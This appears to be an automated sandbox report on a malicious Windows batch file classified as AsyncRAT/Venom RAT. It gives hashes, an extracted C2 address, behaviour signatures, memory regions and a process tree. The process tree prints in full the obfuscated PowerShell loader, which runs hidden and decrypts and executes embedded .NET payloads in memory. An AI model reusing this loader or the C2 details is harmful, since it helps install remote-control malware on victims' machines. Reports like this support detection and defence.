Analysis

  • max time kernel
    145s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240412-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-04-2024 01:08

General

  • Target

    40949bfd50832f026a1f9f6797c0bfa1f8b16698188fc42ca06b04340ba562c1.bat

  • Size

    61KB

  • MD5

    28de2826893ab7e1f2c97521e8fb8ef7

  • SHA1

    50a03746f808599f6ea91b176bc1621c21911eeb

  • SHA256

    40949bfd50832f026a1f9f6797c0bfa1f8b16698188fc42ca06b04340ba562c1

  • SHA512

    28f6268cb2944b2d9c76d35d0df6e23e02242bbf5d0a1556b585321a166bd3694cc2e78347d98df4ba1502d397654243ccce10b0935c92076fe12c67f688c451

  • SSDEEP

    1536:NkwiNwg9/Sdqu+PZuFehHoCWryzg8jLVJTMdqEpo/LBfG:PiNw60+PZu+ICSXGxJTE8VfG

Score
10/10

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

C2

193.222.96.41:4449

Mutex

nkvohxapain

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\40949bfd50832f026a1f9f6797c0bfa1f8b16698188fc42ca06b04340ba562c1.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1828
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\40949bfd50832f026a1f9f6797c0bfa1f8b16698188fc42ca06b04340ba562c1.bat
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3320
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\40949bfd50832f026a1f9f6797c0bfa1f8b16698188fc42ca06b04340ba562c1.bat';$ZFXl='SpUNVvliUNVvtUNVv'.Replace('UNVv', ''),'GeIQUWtCIQUWurIQUWrIQUWenIQUWtPrIQUWoceIQUWssIQUW'.Replace('IQUW', ''),'MaaWJUinMaWJUoaWJUdaWJUuaWJUleaWJU'.Replace('aWJU', ''),'CLsXAreaLsXAteDLsXAeLsXAcLsXAryLsXAptLsXAoLsXArLsXA'.Replace('LsXA', ''),'CJHTlhanJHTlgeEJHTlxJHTltJHTlensJHTliJHTlonJHTl'.Replace('JHTl', ''),'EOAqclOAqcemeOAqcntOAqcAtOAqc'.Replace('OAqc', ''),'IYYGanvYYGaokYYGaeYYGa'.Replace('YYGa', ''),'DJEwBeJEwBcJEwBomJEwBprJEwBesJEwBsJEwB'.Replace('JEwB', ''),'LoFiVZaFiVZdFiVZ'.Replace('FiVZ', ''),'EnfjTctfjTcrfjTcyPfjTcofjTcinfjTctfjTc'.Replace('fjTc', ''),'TroNkUanoNkUsfoNkUooNkUrmFoNkUinoNkUalBoNkUlooNkUckoNkU'.Replace('oNkU', ''),'RPrvjePrvjaPrvjdLiPrvjnePrvjsPrvj'.Replace('Prvj', ''),'FPluNrPluNomBPluNasPluNe6PluN4PluNStPluNrPluNinPluNgPluN'.Replace('PluN', ''),'CfvCYopfvCYyfvCYTofvCY'.Replace('fvCY', '');powershell -w hidden;function DnPdg($NpRVN){$PsFdV=[System.Security.Cryptography.Aes]::Create();$PsFdV.Mode=[System.Security.Cryptography.CipherMode]::CBC;$PsFdV.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$PsFdV.Key=[System.Convert]::($ZFXl[12])('XN3NfgiFnJwaec6stVIzE/BuRsj55jkY+1Zsiukr1l4=');$PsFdV.IV=[System.Convert]::($ZFXl[12])('c4L4meGWtdx5xW7a8N8/JA==');$PQhBD=$PsFdV.($ZFXl[3])();$tJweH=$PQhBD.($ZFXl[10])($NpRVN,0,$NpRVN.Length);$PQhBD.Dispose();$PsFdV.Dispose();$tJweH;}function gsaQk($NpRVN){$XgXaM=New-Object System.IO.MemoryStream(,$NpRVN);$xWVjE=New-Object System.IO.MemoryStream;$klffI=New-Object System.IO.Compression.GZipStream($XgXaM,[IO.Compression.CompressionMode]::($ZFXl[7]));$klffI.($ZFXl[13])($xWVjE);$klffI.Dispose();$XgXaM.Dispose();$xWVjE.Dispose();$xWVjE.ToArray();}$FZeYR=[System.IO.File]::($ZFXl[11])([Console]::Title);$mGUkZ=gsaQk (DnPdg ([Convert]::($ZFXl[12])([System.Linq.Enumerable]::($ZFXl[5])($FZeYR, 5).Substring(2))));$froPR=gsaQk (DnPdg ([Convert]::($ZFXl[12])([System.Linq.Enumerable]::($ZFXl[5])($FZeYR, 6).Substring(2))));[System.Reflection.Assembly]::($ZFXl[8])([byte[]]$froPR).($ZFXl[9]).($ZFXl[6])($null,$null);[System.Reflection.Assembly]::($ZFXl[8])([byte[]]$mGUkZ).($ZFXl[9]).($ZFXl[6])($null,$null); "
        3⤵
          PID:4852
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:3232
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4068

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ndeqyuyu.a2g.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/3232-35-0x00007FF9697E0000-0x00007FF9697F9000-memory.dmp

      Filesize

      100KB

    • memory/3232-13-0x00000203A8C30000-0x00000203A8C40000-memory.dmp

      Filesize

      64KB

    • memory/3232-43-0x00000203A8C30000-0x00000203A8C40000-memory.dmp

      Filesize

      64KB

    • memory/3232-32-0x00000203A9310000-0x00000203A9320000-memory.dmp

      Filesize

      64KB

    • memory/3232-31-0x00000203A9300000-0x00000203A9308000-memory.dmp

      Filesize

      32KB

    • memory/3232-14-0x00000203A9330000-0x00000203A9374000-memory.dmp

      Filesize

      272KB

    • memory/3232-15-0x00000203A9400000-0x00000203A9476000-memory.dmp

      Filesize

      472KB

    • memory/3232-42-0x00000203A8C30000-0x00000203A8C40000-memory.dmp

      Filesize

      64KB

    • memory/3232-40-0x00000203A8C30000-0x00000203A8C40000-memory.dmp

      Filesize

      64KB

    • memory/3232-39-0x00000203A8C30000-0x00000203A8C40000-memory.dmp

      Filesize

      64KB

    • memory/3232-11-0x00000203A8C30000-0x00000203A8C40000-memory.dmp

      Filesize

      64KB

    • memory/3232-10-0x00007FF95B980000-0x00007FF95C441000-memory.dmp

      Filesize

      10.8MB

    • memory/3232-12-0x00000203A8C30000-0x00000203A8C40000-memory.dmp

      Filesize

      64KB

    • memory/3232-33-0x00000203A9380000-0x00000203A9398000-memory.dmp

      Filesize

      96KB

    • memory/3232-0-0x00000203A8C00000-0x00000203A8C22000-memory.dmp

      Filesize

      136KB

    • memory/3232-36-0x00000203A8C30000-0x00000203A8C40000-memory.dmp

      Filesize

      64KB

    • memory/3232-38-0x00007FF95B980000-0x00007FF95C441000-memory.dmp

      Filesize

      10.8MB

    • memory/4068-23-0x000001F1ED510000-0x000001F1ED520000-memory.dmp

      Filesize

      64KB

    • memory/4068-19-0x000001F1ED510000-0x000001F1ED520000-memory.dmp

      Filesize

      64KB

    • memory/4068-16-0x00007FF95B980000-0x00007FF95C441000-memory.dmp

      Filesize

      10.8MB

    • memory/4068-30-0x00007FF95B980000-0x00007FF95C441000-memory.dmp

      Filesize

      10.8MB